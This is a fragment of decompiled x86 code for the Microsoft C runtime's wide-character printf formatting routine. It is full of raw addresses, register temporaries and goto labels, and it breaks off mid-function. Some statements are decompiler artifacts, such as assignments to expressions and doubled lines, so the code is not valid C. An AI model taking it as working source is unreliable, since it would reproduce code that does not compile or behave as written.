													_t510 = ( *(_t519 + _t490 + 0x4092e8) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x4092e8) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0042A94C))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E00429780( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x42a984; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0042A96C))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x42a9ac; // 0xa1c19003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0042A998))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x42aa18; // 0x55ff8b0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0042A9DC))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E00429820(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x44ba18; // 0x409128
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E00423790(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push(__eax);
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x44ba08; // 0xae625e32
																				_push(__edx);
																				__imp__DecodePointer();
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						__eax = E00423790(__ebp - 0x40);
																						_push(__eax);
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x44ba14; // 0xae625e32
																						_push(__edx);
																						__imp__DecodePointer();
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E00423790(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44ba10; // 0xae625e32
																						_push(__eax);
																						__imp__DecodePointer();
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00429820(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E00423790(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E00423790(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E00439180(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x484) = E00429820(__ebp + 0x14);
																		__eax = E004390D0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L00427590();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L004256E0(__ecx))) = 0x16;
																			__eax = E00428500(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E00423760(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00429820(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00429820(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00429820(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00429820(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x44ba1c; // 0x409118
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x44ba18; // 0x409128
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
